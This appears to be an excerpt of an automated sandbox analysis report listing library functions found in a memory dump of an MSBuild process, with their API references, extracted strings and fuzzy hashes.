
Strings

uS, xrefs: 005402CF

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID: uS
API String ID: 1353541977-336044122
Opcode ID: 71b1ed4183e2e368b4fa1349d6540803a7ace21301d1342b97019e13a4dc057d
Instruction ID: 921b6c734bfe912ccb6cad27f360aa9d70cc9ae2e3493677c95e6d37f0840b02
Opcode Fuzzy Hash: 71b1ed4183e2e368b4fa1349d6540803a7ace21301d1342b97019e13a4dc057d
Instruction Fuzzy Hash: EB41D875A04205ABDB109F68DC4DBEEBFA8FB44718F305229FA19E72C0D7B49900D7A4

Function 005473F8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 178COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 00547463
operator+.LIBVCRUNTIME ref: 005474B3
shared_ptr.LIBCMT ref: 0054757F
DName::DName.LIBVCRUNTIME ref: 005475AF
operator+.LIBVCRUNTIME ref: 00547610

Strings

volatile, xrefs: 00547455, 00547571
volatile , xrefs: 00547445, 00547561
std::nullptr_t, xrefs: 00547621
std::nullptr_t , xrefs: 005475FE

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: operator+shared_ptr$NameName::
String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
API String ID: 2894330373-757766384
Opcode ID: 5b39598cdee701266bcd4a29a5489d3849a13c986ccccceb71feb6398e236aa2
Instruction ID: 4034a84d63f7c806bf9577f67474e9ac594c017c4b04d29f7d75d20f32ae8d92
Opcode Fuzzy Hash: 5b39598cdee701266bcd4a29a5489d3849a13c986ccccceb71feb6398e236aa2
Instruction Fuzzy Hash: 06618D7180810EEFCF14DFA8C8499F9BFB5FB49308F14856AE8459B221E3769A05DF90

Function 00565CA3 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0056560F), ref: 00565CBC

Strings

log, xrefs: 00565D19, 00565D28
sqrt, xrefs: 00565DFB
acos, xrefs: 00565DF2
asin, xrefs: 00565DE9
pow, xrefs: 00565D5A, 00565E04, 00565E51
exp, xrefs: 00565D3B, 00565DA0
log10, xrefs: 00565CFE, 00565D0D
uS, xrefs: 00565D86, 00565E30, 00565E76

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt$uS
API String ID: 3527080286-2739184785
Opcode ID: 25751ac0d0603cd8b09f5a734bde58e1ff3fbcfc556d2cb5e37cb6c4650fd0c1
Instruction ID: ab09a093358149d20da328d25146e521c75f02dc653f3d2b25e34d94b09d6799
Opcode Fuzzy Hash: 25751ac0d0603cd8b09f5a734bde58e1ff3fbcfc556d2cb5e37cb6c4650fd0c1
Instruction Fuzzy Hash: 5251BC70940E0ACBDF108FA8E84C1ADBFB8FF08304F544585D491AB294EB768B69DF91

Function 00547646 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBVCRUNTIME ref: 005476A9
DName::operator+.LIBCMT ref: 00547767
operator+.LIBVCRUNTIME ref: 005477A6

Strings

void , xrefs: 00547693
cli::pin_ptr<, xrefs: 0054777D
std::nullptr_t, xrefs: 005476ED
cli::array<, xrefs: 00547743
std::nullptr_t , xrefs: 005476FD
void, xrefs: 00547674

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: operator+$Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 1198235884-2239912363
Opcode ID: f8a465d2f7bafde2d392e0162855014c516aac35bc46d2a66b85751117c165f4
Instruction ID: 8d18a8613de07eef322809ce44fc075c764ca1a0be3f08b7bc39741e1f717549
Opcode Fuzzy Hash: f8a465d2f7bafde2d392e0162855014c516aac35bc46d2a66b85751117c165f4
Instruction Fuzzy Hash: 1E4156B080860DAFDF24CF54D849BEEBFF6BB09308F518449E9156B261D7B49A48CF80

Function 0054603A Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 005460AB
DName::operator+.LIBCMT ref: 005460F3
DName::DName.LIBVCRUNTIME ref: 00546123

Strings

char , xrefs: 0054606D
int , xrefs: 00546086
long , xrefs: 00546096
short , xrefs: 00546076
unsigned , xrefs: 005460D2

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: NameName::Name::operator+shared_ptr
String ID: char $int $long $short $unsigned
API String ID: 3919194733-3894466517
Opcode ID: ac22c2de9ff5b82de2cc33959c3fe7a74ce7f47ea181e23485cd5f9b71f5ed71
Instruction ID: 91b9bb37adf611b9ff29385a9645b0e372e3e5711bf790d3efc25e6331a62cc1
Opcode Fuzzy Hash: ac22c2de9ff5b82de2cc33959c3fe7a74ce7f47ea181e23485cd5f9b71f5ed71
Instruction Fuzzy Hash: 41212AB4800249EFCF04CFA4C899BEDBFB4FB16308F10858AE515A7292D7B49648CF42

Function 00540780 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 005407B7
___except_validate_context_record.LIBVCRUNTIME ref: 005407BF
_ValidateLocalCookies.LIBCMT ref: 00540848
__IsNonwritableInCurrentImage.LIBCMT ref: 00540873
_ValidateLocalCookies.LIBCMT ref: 005408C8

Strings

csm, xrefs: 0054085D
uS, xrefs: 0054088C

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$uS
API String ID: 1170836740-2183362451
Opcode ID: 02026319203c51cbade51a1027ce1deb871be51cd94b8956a2b35aad12176f88
Instruction ID: f3981e0b31e01d29bf23605c3d6dca02bc642a8a9e891d00e0336b9d76198f78
Opcode Fuzzy Hash: 02026319203c51cbade51a1027ce1deb871be51cd94b8956a2b35aad12176f88
Instruction Fuzzy Hash: 8B41B434A002099BCF10DF68C885ADEBFB5FF45318F249059EA18AB392D735EA05CBD1

Function 00549152 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00549196
DName::operator+.LIBCMT ref: 005491A2

Part of subcall function 0054368A: shared_ptr.LIBCMT ref: 005436A6

DName::operator+=.LIBCMT ref: 00549260

Part of subcall function 00547A0C: DName::operator+.LIBCMT ref: 00547A77
Part of subcall function 00547A0C: DName::operator+.LIBCMT ref: 00547D41

Part of subcall function 005435B5: DName::operator+.LIBCMT ref: 005435D6

DName::operator+.LIBCMT ref: 0054921D

Part of subcall function 005436E2: DName::operator=.LIBVCRUNTIME ref: 00543703

DName::DName.LIBVCRUNTIME ref: 00549284
DName::operator+.LIBCMT ref: 00549290

Strings

{for , xrefs: 005491C9

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator+=Name::operator=shared_ptr
String ID: {for
API String ID: 2795783184-864106941
Opcode ID: 0aa44ef509aefa56e5fb15d3ed05f4c0eea1a4ef496b614531e8f3084956be7d
Instruction ID: 663c8c93333c08a5af8739b08af78ebb7988052c83ac7587712d9fc4e73ecdeb
Opcode Fuzzy Hash: 0aa44ef509aefa56e5fb15d3ed05f4c0eea1a4ef496b614531e8f3084956be7d
Instruction Fuzzy Hash: 154104B4A04245BFDB14DFA4C89AAEF7FF9BB4A308F004458E186A72A1D7749E44CB54

Function 005447BC Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005446AF: Replicator::operator[].LIBCMT ref: 0054471B

DName::DName.LIBVCRUNTIME ref: 00544808
DName::operator+.LIBCMT ref: 0054484E

Strings

,..., xrefs: 00544829
..., xrefs: 0054487F
,<ellipsis>, xrefs: 00544839
<ellipsis>, xrefs: 0054488F
void, xrefs: 005448A0

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: NameName::Name::operator+Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 583996491-2211150622
Opcode ID: 3492c8023656a5f6f15862f652738a3cf5ed6a630e02b039b4c5ba4f6ac07d46
Instruction ID: 0fac9a67e45c6a0c0524414c15fb2ed08adb66b02e5bc4a613800fd37628cf0c
Opcode Fuzzy Hash: 3492c8023656a5f6f15862f652738a3cf5ed6a630e02b039b4c5ba4f6ac07d46
Instruction Fuzzy Hash: DE317CB0940289EFDB04CF98D8597EEBFF0FB05308F00854AEA95AB261C7749609DF81

Function 00419F50 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00419F62
int.LIBCPMTD ref: 00419F74

Part of subcall function 0040E500: std::_Lockit::_Lockit.LIBCPMT ref: 0040E516
Part of subcall function 0040E500: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E540

Concurrency::cancel_current_task.LIBCPMTD ref: 00419FBB
std::_Lockit::~_Lockit.LIBCPMT ref: 0041A031

Strings

zA, xrefs: 00419FC8, 00419FDC, 00419FE8, 00419FED, 00419FDF
zA, xrefs: 00419F80, 00419FA6, 00419FA9

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID: zA$zA
API String ID: 3053331623-2891261629
Opcode ID: 6d416f6a0c6b80f0b0c24292e701e73b2c84016479c69e918e8a89cae788ce51
Instruction ID: 4cc31ba453ef9b6c61a14c6fb21bb0dae6bf39b20bd9cecedd0814c0603189e5
Opcode Fuzzy Hash: 6d416f6a0c6b80f0b0c24292e701e73b2c84016479c69e918e8a89cae788ce51
Instruction Fuzzy Hash: 763193B4D00209EFCB04DF95D591AEEBBB1BF48304F10856AE815B7390DB34AA45DF95

Function 00508650 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 338COMMON

Download Yara Rule

Strings

!kcc, xrefs: 0050896C
>, xrefs: 005088A0
7, xrefs: 005089F7

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID:
String ID: !kcc$7$>
API String ID: 0-3074482854
Opcode ID: fb0dfb79801743c21186c78e2cad15b086682c7c1a82ef3855c7c0dfd99f72eb
Instruction ID: e6b56d590888437b401fbd4ae6fa5c163daf3b81139779553f98c1f5918ce4c2
Opcode Fuzzy Hash: fb0dfb79801743c21186c78e2cad15b086682c7c1a82ef3855c7c0dfd99f72eb
Instruction Fuzzy Hash: 50F14874D04258DFDB14CFA8C890BEEBBB1BF49304F2485A9D845AB381DB359A45CF51

Function 0055B432 Relevance: 10.8, APIs: 7, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0055B4B8

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 295b9cc952ce91fe88561d2ad070eb42c8d12d78eb2505e1aa2abdc96a2c857d
Instruction ID: 8340d1de1df966b4bc443f46742991bc8590302f476dcad24303c93d2bfb2e7f
Opcode Fuzzy Hash: 295b9cc952ce91fe88561d2ad070eb42c8d12d78eb2505e1aa2abdc96a2c857d
Instruction Fuzzy Hash: D9B157729003569FFF258F24CCAABAE7FA5FF99311F144156ED00AB282E3749905C7A1

Function 00418CD0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 00418D95
_memcpy_s.LIBCPMTD ref: 00418DCE
_memcpy_s.LIBCPMTD ref: 00418E79
_memcpy_s.LIBCPMTD ref: 00418EB2

Strings

Info, xrefs: 00418DF1
Salt, xrefs: 00418D10

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: _memcpy_s
String ID: Info$Salt
API String ID: 2001391462-2052181562
Opcode ID: 6690312f40285432a8ddfbac61699edc478fc00efab240cd0606b20d90a62bb8
Instruction ID: a950d269242dfe9dd52c7fcc47e69861c35a5128e8b58a5cbb34649cfbeae689
Opcode Fuzzy Hash: 6690312f40285432a8ddfbac61699edc478fc00efab240cd0606b20d90a62bb8
Instruction Fuzzy Hash: 8391C8B5E002089FCB18DF95D891AEEBBB5BF58700F20815EE519B7391DB34A941CF54

Function 005449D6 Relevance: 10.7, APIs: 7, Instructions: 151COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00544A64
DName::operator+.LIBCMT ref: 00544AB7

Part of subcall function 0054368A: shared_ptr.LIBCMT ref: 005436A6

Part of subcall function 005435B5: DName::operator+.LIBCMT ref: 005435D6

DName::operator+.LIBCMT ref: 00544AA8
DName::operator+.LIBCMT ref: 00544B08
DName::operator+.LIBCMT ref: 00544B15
DName::operator+.LIBCMT ref: 00544B5C
DName::operator+.LIBCMT ref: 00544B69

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Name::operator+$shared_ptr
String ID:
API String ID: 1037112749-0
Opcode ID: b9a7eb6a02f97c272ef14c53133defa3641d00bb7b7a4d13cf81fd690010cd6a
Instruction ID: 5d99feb53ccfbfc570d0b77c02ed575b7953432501de9806d7671a74e92f01aa
Opcode Fuzzy Hash: b9a7eb6a02f97c272ef14c53133defa3641d00bb7b7a4d13cf81fd690010cd6a
Instruction Fuzzy Hash: A151A171D4020AABDF18DB94C849EEEBFB9FF48304F044459F501A7290EB709A48CFA4

Function 00566E3A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00566E8B
TypeidsEqual.LIBVCRUNTIME ref: 00566EB0
PMDtoOffset.LIBCMT ref: 00566EC6
PMDtoOffset.LIBCMT ref: 00566F47

Strings

.?AVAuthenticatedSymmetricCipher@CryptoPP@@, xrefs: 00566F43
75R, xrefs: 00566F8F

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: EqualOffsetTypeids
String ID: .?AVAuthenticatedSymmetricCipher@CryptoPP@@$75R
API String ID: 1707706676-2152600069
Opcode ID: 2ca317564d3a52bdce74212441e3e6b18e266408b0b4746ca7a4d4689c7ceabc
Instruction ID: e03f0cb30912456cf73cee95ecc88c3d0b0647114a243d0fcba1ecfcef0bb93b
Opcode Fuzzy Hash: 2ca317564d3a52bdce74212441e3e6b18e266408b0b4746ca7a4d4689c7ceabc
Instruction Fuzzy Hash: F341873990420A9FCF10CFA8E490AAEFFF5FF55310F14498AE851A7255D732AE44CB90

Function 005488CA Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getSignedDimension.LIBCMT ref: 0054891B

Strings

`template-parameter, xrefs: 00548985
uS, xrefs: 00548962
void, xrefs: 005488EB

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Decorator::getDimensionSigned
String ID: `template-parameter$uS$void
API String ID: 2996861206-2986298104
Opcode ID: dcbca23786ab9ebcca738f5e974f20defe8fbaa0ca7609052ed66dac36af4494
Instruction ID: 530430bb251fd7e7ca1b2ce5dc86491989f0a149b071517e6f4366dd81a2b71e
Opcode Fuzzy Hash: dcbca23786ab9ebcca738f5e974f20defe8fbaa0ca7609052ed66dac36af4494
Instruction Fuzzy Hash: 5A31527190420EABDF04DBE4D85ABFEBBF8BB5C308F10441AE601B3191DB749A0C9B65

Function 0055A8F2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,0041C3C8,?,2BFA49FB,?,0055AA01,0041C3C8,0053E038,00000000,0041C3C8), ref: 0055A9B3

Strings

ext-ms-, xrefs: 0055A95D
api-ms-, xrefs: 0055A949

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 0fdcc605303da6b2f7034f1edd11ac72101ec615f719029160a6f8f46c5f4c57
Instruction ID: da48f7548a0f73b2077f71ef9ff21d7726c303b33cafd8cbef9bf5e1d652bec0
Opcode Fuzzy Hash: 0fdcc605303da6b2f7034f1edd11ac72101ec615f719029160a6f8f46c5f4c57
Instruction Fuzzy Hash: AB210831A00225FBC7228B64DC64A5A3B78FB527A1F220326EC05A7290D770ED08D6E2

Function 0053F1A4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0053F1AB
std::_Lockit::_Lockit.LIBCPMT ref: 0053F1B6
std::_Lockit::~_Lockit.LIBCPMT ref: 0053F224

Part of subcall function 0053F307: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0053F31F

std::locale::_Setgloballocale.LIBCPMT ref: 0053F1D1
_Yarn.LIBCPMT ref: 0053F1E7

Strings

uS, xrefs: 0053F1F3, 0053F217

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID: uS
API String ID: 1088826258-336044122
Opcode ID: 30d08187774148631f3dd7c5042b4ac3f50f1a4c5ff9695420ee58a21d1aa257
Instruction ID: 5de2392838dceab92e60f7cdfc245ce36761020e89b9f594e1b0e2e664887ed8
Opcode Fuzzy Hash: 30d08187774148631f3dd7c5042b4ac3f50f1a4c5ff9695420ee58a21d1aa257
Instruction Fuzzy Hash: 9F01DF79A005129BDB06EF20D85A97DBFB5FFD4700F144019E81267381CF74AE06DB92

Function 0054F668 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,2BFA49FB,?,?,00000000,0056A4F0,000000FF,?,0054F644,?,?,0054F618,00000000), ref: 0054F69D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0054F6AF
FreeLibrary.KERNEL32(00000000,?,00000000,0056A4F0,000000FF,?,0054F644,?,?,0054F618,00000000), ref: 0054F6D1

Strings

mscoree.dll, xrefs: 0054F696
CorExitProcess, xrefs: 0054F6A7
uS, xrefs: 0054F6C0

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll$uS
API String ID: 4061214504-1639456704
Opcode ID: 0ae593fa9a2cb0efe76a46784ed79c5ef985e7b783321e4dab80a9c5fb622def
Instruction ID: dc1d690a658764fb77f5f4f7c88622c6a2ef2e4ce2d0e2280e886df1ad3fa834
Opcode Fuzzy Hash: 0ae593fa9a2cb0efe76a46784ed79c5ef985e7b783321e4dab80a9c5fb622def
Instruction Fuzzy Hash: DE016231A50659EFEB118F58DC09BAEBFB8FB44B15F000626E811E32E0DBB59944CB91

Function 0053FD96 Relevance: 9.2, APIs: 6, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 0053FDDF
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 0053FE4A
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0053FE67
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0053FEA6
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0053FF05
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0053FF28

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: f57b95238ad31dd8e05e464aa147ccf5e87b55e40f024e722346a0ca2246896f
Instruction ID: 54ee9cc16c9c468d2959cded50ce0eb8bdc4ee363a37e4e9321061a8cd716316
Opcode Fuzzy Hash: f57b95238ad31dd8e05e464aa147ccf5e87b55e40f024e722346a0ca2246896f
Instruction Fuzzy Hash: 7351897290020AABEF209FA4CC49FAA7FA9FB45750F144439FD14EA1A0D7748C54DBA0

Function 00547DCA Relevance: 9.1, APIs: 6, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005492A6: Replicator::operator[].LIBCMT ref: 005492E3

DName::operator=.LIBVCRUNTIME ref: 00547E76

Part of subcall function 00547A0C: DName::operator+.LIBCMT ref: 00547A77
Part of subcall function 00547A0C: DName::operator+.LIBCMT ref: 00547D41

DName::operator+.LIBCMT ref: 00547E30
DName::operator+.LIBCMT ref: 00547E3C
DName::DName.LIBVCRUNTIME ref: 00547E80
DName::operator+.LIBCMT ref: 00547E9D
DName::operator+.LIBCMT ref: 00547EA9

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]
String ID:
API String ID: 955152517-0
Opcode ID: 550a3c03afd52022e8995c1c2c61f437dbf9c845f785320eb824390a2e041c94
Instruction ID: 7f6d7c2c4536be1e4d390a2f928411a9a0c9aa8f0c08fc02934a3679289f803f
Opcode Fuzzy Hash: 550a3c03afd52022e8995c1c2c61f437dbf9c845f785320eb824390a2e041c94
Instruction Fuzzy Hash: 6831B3B1A04209AFCB18DFA4D859AEABFF8BF99304F10889DE58697361D7709904CB50

Function 00418600 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00418612
int.LIBCPMTD ref: 00418624

Part of subcall function 0040E500: std::_Lockit::_Lockit.LIBCPMT ref: 0040E516
Part of subcall function 0040E500: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E540

Concurrency::cancel_current_task.LIBCPMTD ref: 0041866B
std::_Lockit::~_Lockit.LIBCPMT ref: 004186E1

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: fcf074ac198ef22dd4cb04887d15906ab0338ad049432f7b9d5a1a182cf364b9
Instruction ID: 0199eea585d919c532870c525719b061cd6942339d21c6b0a82242c96965bb99
Opcode Fuzzy Hash: fcf074ac198ef22dd4cb04887d15906ab0338ad049432f7b9d5a1a182cf364b9
Instruction Fuzzy Hash: 4431B3B5D00209EFCB04DF95D585AEEBBB5BF48300F108A6AE815B7390DB34AA45CF95

Function 0054E416 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 181COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0054E4B3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0054E5BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0054E5CD

Strings

=T, xrefs: 0054E421

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: =T
API String ID: 885266447-3806340721
Opcode ID: d822b3af1fe3d9f3b6ced3cd5c1978937d14edb7e4b25b420f3795e4590ff45a
Instruction ID: 802f42fe8954b042431766edbb863acf8f59caeff2da4b8ffacaa20abaed0416
Opcode Fuzzy Hash: d822b3af1fe3d9f3b6ced3cd5c1978937d14edb7e4b25b420f3795e4590ff45a
Instruction Fuzzy Hash: AD513E75A00209AFCF14DF98C886AEEBFB6FB89318F148559E855A7351E230DE41DB60

Function 005446AF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 0054471B
DName::operator=.LIBVCRUNTIME ref: 005447B0

Strings

GT, xrefs: 005446B7
GT, xrefs: 0054472E

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Name::operator=Replicator::operator[]
String ID: GT$GT
API String ID: 3211817929-2152628013
Opcode ID: 7b7dd62dbc9dfedf20a5674f537840bd6a9ddecca403dfe298fcd1bb64d7a993
Instruction ID: a56c8e332ea45dc530618a1a94d2c359f5915028fee701a0cac8cc098a6f2e50
Opcode Fuzzy Hash: 7b7dd62dbc9dfedf20a5674f537840bd6a9ddecca403dfe298fcd1bb64d7a993
Instruction Fuzzy Hash: E63121716402459BD714DBA4C88ABFE7FF9FB4371DF14081DE581972A2DBB0990ACB50

Function 005459FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005432B3: pDNameNode::pDNameNode.LIBCMT ref: 005432D9

DName::DName.LIBVCRUNTIME ref: 00545ABB
DName::operator+.LIBCMT ref: 00545AC9

Strings

void , xrefs: 00545A64
void, xrefs: 00545A4C

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Name$Name::Name::operator+NodeNode::p
String ID: void$void
API String ID: 3257498322-3746155364
Opcode ID: 092c38c67d57109e8c5c44f51d133c21473957da2c7f1d63822d9f19b294ac06
